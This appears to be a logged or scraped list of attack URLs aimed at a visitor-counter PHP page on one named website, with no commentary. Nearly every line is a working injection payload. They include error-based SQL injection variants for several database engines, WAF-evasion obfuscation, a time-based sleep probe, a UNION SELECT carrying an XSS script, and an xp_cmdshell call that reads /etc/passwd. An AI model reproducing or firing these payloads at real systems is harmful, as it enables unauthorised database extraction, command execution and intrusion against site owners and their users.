http://evol.com.tw /ip_visitor_counter.php?api=test%27eXtracTvalue%282001%2C%2F%2A%2150000CoNcaT%2A%2F%280x7e%2C%28%2F%2A%2150000SeLECT%2A%2F%2A%2A%2F%28elt%282001%3D2001%2C1%29%29%29%2C0x7e%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=%20AND

-

http://evol.com.tw /ip_visitor_counter.php?api=1

-

http://evol.com.tw /ip_visitor_counter.php

-

http://evol.com.tw /ip_visitor_counter.php?api=+AND+

-

http://evol.com.tw /ip_visitor_counter.php?%20EXEC%20xp_cmdshell('cat%20/etc/passwd')%23=1&api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%27%20%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELECT%20CONCAT%28GTID_SUBSET%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e%29%29%29%29,%20FLOOR%28RAND%280%29%20*%202%29%29%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x%29%20a%29%20%27

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%20AND%201%20GROUP%20BY%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e,%200x7e,%20FLOOR%28RAND%280%29%20*%202%29%29%20HAVING%20MIN%280%29

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%20AND%200=CAST%28COALESCE%28%28SELECT%20version%28%29%29::text,%20CHR%2832%29%29::text%20%7C%7C%20CHR%2867%29%20AS%20NUMERIC%29--

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000and*/**/2077=%28/*%2150000SeLEct*/**/upPER%28XmLTypE%28chR%2860%29%7C%7CchR%2858%29%7C%7C%27%7E%27%7C%7C%28/*%2150000SEleCT*/**/%28/*%2150000CasE*/**/*%2150000wheN*/**/%282077=2077%29/**/*%2150000tHEn*/**/1/**/*%2150000eLSe*/**/0/**/*%2150000eND*/%29/**/*%2150000frOm*/**/DuAl%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/*%2150000FrOm*/**/DuaL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000AND*/**/5986=%28/*%2150000sELECT*/**/uPPer%28xmlTYPE%28ChR%2860%29%7C%7CChr%2858%29%7C%7C%27%7E%27%7C%7C%28/*%2150000sELEct*/**/%28/*%2150000CaSe*/**/*%2150000WheN*/**/%285986=5986%29/**/*%2150000then*/**/1/**/*%2150000elsE*/**/0/**/*%2150000enD*/%29/**/*%2150000From*/**/duaL%29%7C%7C%27%7E%27%7C%7CchR%2862%29%29%29/**/*%2150000FROm*/**/dUaL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%27%20or%201=%20AND%201%20GROUP%20BY%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e,%200x7e%252

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%27%20%20AND%20%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELECT

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%27%20and%201=%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELE

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-%27+and++AND+1+GROUP+BY+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29,0x7e,+0x7e,+F

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-+and+1=%28SELECT+1+FROM+%28SELECT+COUNT%28*%29,+CONCAT%28%28SELECT+%28SELECT+

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-%27+or+1=+AND+1+GROUP+BY+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29,0x7e,+0

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000AND*/**/10516=/*%2150000caSt*/%28%27%7E%27%7C%7C%28/*%2150000SELeCt*/**/%28/*%2150000CaSE*/**/*%2150000WHen*/**/%2810516=10516%29/**/*%2150000thEN*/**/1/**/*%2150000eLSe*/**/0/**/*%2150000EnD*/%29%29::TExt%7C%7C%27%7E%27/**/*%2150000as*/**/numerIc%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000and*/**/6051=/*%2150000CaST*/%28%27%7E%27%7C%7C%28/*%2150000selECt*/**/%28/*%2150000casE*/**/*%2150000whEn*/**/%286051=6051%29/**/*%2150000thEn*/**/1/**/*%2150000Else*/**/0/**/*%2150000End*/%29%29::TEXT%7C%7C%27%7E%27/**/*%2150000As*/**/numERic%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29+AND+/*%2150000And*/**/9467/**/In/**/%28/*%2150000SelECt*/**/%28%27%7E%27+%28/*%2150000SELecT*/**/%28/*%2150000CAsE*/**/*%2150000wheN*/**/%289467=9467%29/**/*%2150000Then*/**/%271%27/**/*%2150000Else*/**/%270%27/**/*%2150000END*/%29%29+%27%7E%27%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20AND/**/10204=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%2810204=10204%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20ANd/**/3526=%28select/**/UPpEr%28xMLTYpe%28chR%2860%29%7C%7CcHR%2858%29%7C%7C%27%7E%27%7C%7C%28seLEct/**/%28casE/**/wHen/**/%283526=3526%29/**/then/**/1/**/ELSe/**/0/**/EnD%29/**/FrOm/**/dUAL%29%7C%7C%27%7E%27%7C%7CCHr%2862%29%29%29/**/FrOm/**/duAL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22%20AND%20AND/**/1388=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%281388=1388%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29%20AND%20/*%2150000And*/**/9467/**/In/**/%28/*%2150000SelECt*/**/%28%27%7E%27+%28/*%2150000SELecT*/**/%28/*%2150000CAsE*/**/*%2150000wheN*/**/%289467=9467%29/**/*%2150000Then*/**/%271%27/**/*%2150000Else*/**/%270%27/**/*%2150000END*/%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000ANd*/**/9885/**/IN/**/%28/*%2150000SeLeCt*/**/%28%27%7E%27+%28/*%2150000SeLect*/**/%28/*%2150000CasE*/**/*%2150000whEN*/**/%289885=9885%29/**/*%2150000TheN*/**/%271%27/**/*%2150000eLsE*/**/%270%27/**/*%2150000ENd*/%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27+AND+And/**/5978=%28sELeCT/**/upPER%28XMlTYpE%28chR%2860%29%7C%7CChr%2858%29%7C%7C%27%7E%27%7C%7C%28SelECT/**/%28Case/**/whEN/**/%285978=5978%29/**/THen/**/1/**/ElsE/**/0/**/ENd%29/**/FRoM/**/dUAL%29%7C%7C%27%7E%27%7C%7Cchr%2862%29%29%29/**/fROM/**/DUaL%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/2047=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%282047=2047%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29AND/**/1569/**/IN/**/%28SELECT/**/%28%27%7E%27%20%28SELECT/**/%28CASE/**/WHEN/**/%281569=1569%29/**/THEN/**/%271%27/**/ELSE/**/%270%27/**/END%29%29%20%27%7E%27%29%29%20AND%20%271%27=%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20ANd/**/6368=CaSt%28%27%7E%27%7C%7C%28SEleCt/**/%28caSE/**/whEN/**/%286368=6368%29/**/tHEn/**/1/**/elSE/**/0/**/End%29%29::Text%7C%7C%27%7E%27/**/aS/**/nUmERiC%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22%20AND%20And/**/6667=CAsT%28%27%7E%27%7C%7C%28SElecT/**/%28CASE/**/whEn/**/%286667=6667%29/**/tHeN/**/1/**/elSE/**/0/**/eND%29%29::TexT%7C%7C%27%7E%27/**/AS/**/nuMEriC%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?__waf_test__=%27%20OR%20%271%27=%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert%281%29%3C/script%3E%27,table_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/**/&api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=test%29AnD/**/3358=cAst%28%27%7E%27%7C%7C%28sElecT/**/%28Case/**/WhEn/**/%283358=3358%29/**/ThEn/**/1/**/ELse/**/0/**/eNd%29%29::TeXT%7C%7C%27%7E%27/**/as/**/NumeRiC%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20AND%0C6807%0BIN%07%28SELECT%02%28%27%7E%27+%28SELECT%0D%28CASE%0EWHEN%0B%286807=6807%29%03THEN%0C%271%27%0CELSE%08%270%27%09END%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?__waf_test__=%27+OR+%271%27=%271%27+UNION+SELECT+NULL,%27%3Cscript%3Ealert%281%29%3C/script%3E%27,table_name+FROM+information_schema.tables+WHERE+2%3E1--/**/&api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22+AND+EXTRACTVALUE%281203,/*%2150000CONCAT*/%280x7e,%28/*%2150000SELECT*/%28ELT%281203=1203,1%29%29%29,0x7e%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=testExtrACTVaLuE%288037,/*%2150000CONcat*/%280X7E,%28/*%2150000SelecT*/**/%28elt%288037=8037,1%29%29%29,0x7E%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%20AND%20AND/**/9065=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27

-

http://evol.com.tw /ip_visitor_counter.php?+EXEC+xp_cmdshell(%27cat+/etc/passwd%27)%23=1&__waf_test__=%27+OR+%271%27%3D%271%27+UNION+SELECT+NULL,%27%3Cscript%3Ealert(1)%3C/script%3E%27,table_name+FROM+information_schema.tables+WHERE+2%3E1--/**/&api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=testEXTRACTVALUE(2074,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(2074%3D2074,1))),0x7e))+AND+1%3D1--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22+AND+%2F%2A%2150000AnD%2A%2F%2F%2A%2A%2F4516%3D%28%2F%2A%2150000sELECt%2A%2F%2F%2A%2A%2FUPpEr%28XmlTyPe%28cHr%2860%29%7C%7CChr%2858%29%7C%7C%27%7E%27%7C%7C%28%2F%2A%2150000seleCT%2A%2F%2F%2A%2A%2F%28%2F%2A%2150000casE%2A%2F%2F%2A%2A%2F%2F%2A%2150000wHen%2A%2F%2F%2A%2A%2F%284516%3D4516%29%2F%2A%2A%2F%2F%2A%2150000THeN%2A%2F%2F%2A%2A%2F1%2F%2A%2A%2F%2F%2A%2150000ElsE%2A%2F%2F%2A%2A%2F0%2F%2A%2A%2F%2F%2A%2150000eNd%2A%2F%29%2F%2A%2A%2F%2F%2A%2150000FROm%2A%252

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27)EXTRACTVALUE(10861,CONCAT(0x7e,(SELECT/**/(ELT(10861%3D10861,1))),0x7e))+AND+%271%27%3D%271

-

http://evol.com.tw /ip_visitor_counter.php?%20EXEC%20xp_cmdshell(%27cat%20/etc/passwd%27)%23=10%27XOR(1*if(now()=sysdate(),sleep(15),0))XOR%27Z&__waf_test__=%27%20OR%20%271%27=%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert(1)%3C/script%3E%27,table_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/**/&api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=test%2F%2A%2150000aNd%2A%2F%2F%2A%2A%2F5687%3D%28%2F%2A%2150000SElect%2A%2F%2F%2A%2A%2FUpPeR%28XmlTypE%28CHR%2860%29%7C%7CchR%2858%29%7C%7C%27~%27%7C%7C%28%2F%2A%2150000sELecT%2A%2F%2F%2A%2A%2F%28%2F%2A%2150000CaSe%2A%2F%2F%2A%2A%2F%2F%2A%2150000wHen%2A%2F%2F%2A%2A%2F%285687%3D5687%29%2F%2A%2A%2F%2F%2A%2150000theN%2A%2F%2F%2A%2A%2F1%2F%2A%2A%2F%2F%2A%2150000Else%2A%2F%2F%2A%2A%2F0%2F%2A%2A%2F%2F%2A%2150000ENd%2A%2F%29%2F%2A%2A%2F%2F%2A%2150000fRoM%2A%2F%2F%2A%25

-

http://evol.com.tw /ip_visitor_counter.php?api=and%201%3D%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),%20CONCAT((SELECT%20(SELECT%20CONCAT(CAST(VERSION()%20AS%20CHAR),0x7e))),%20FLOOR(RAND(0)%20*%202))%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)%20a)--%20and%201%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20ExtRaCtVAlue(10021,/*!50000CONCAt*/(0X7E,(/*!50000Select*//**/(ElT(10021%3D10021,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=

-

http://evol.com.tw /ip_visitor_counter.php?api=+AND+%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2C+CONCAT%28%28SELECT+%28SELECT+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29%29%29%2C+FLOOR%28RAND%280%29+%2A+2%29%29+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x%29+a%29--

-

http://evol.com.tw /ip_visitor_counter.php?api=testExtRaCTvAlUE(9872,/*!50000ConCAt*/(0X7E,(/*!50000sElEct*/**/(elT(9872%3D9872,1))),0X7e))%20AND%201%3D1--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=%20or%201%3D(SELECT%201%20FROM%20(SELECT%20COUNT(*),%20CONCAT((SELECT%20(SELECT%20CONCAT(CAST(VERSION()%20AS%20CHAR),0x7e))),%20FLOOR(RAND(0)%20*%202))%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)%20a)%20and%201%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7C'~'%7C%7C(SELECT/**/(CASE/**/WHEN/**/(9762=9762)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7C'~'%7C%7CCHR(62)))/**/FROM/**/DUAL)%20AND%201=1--%20-&api='

-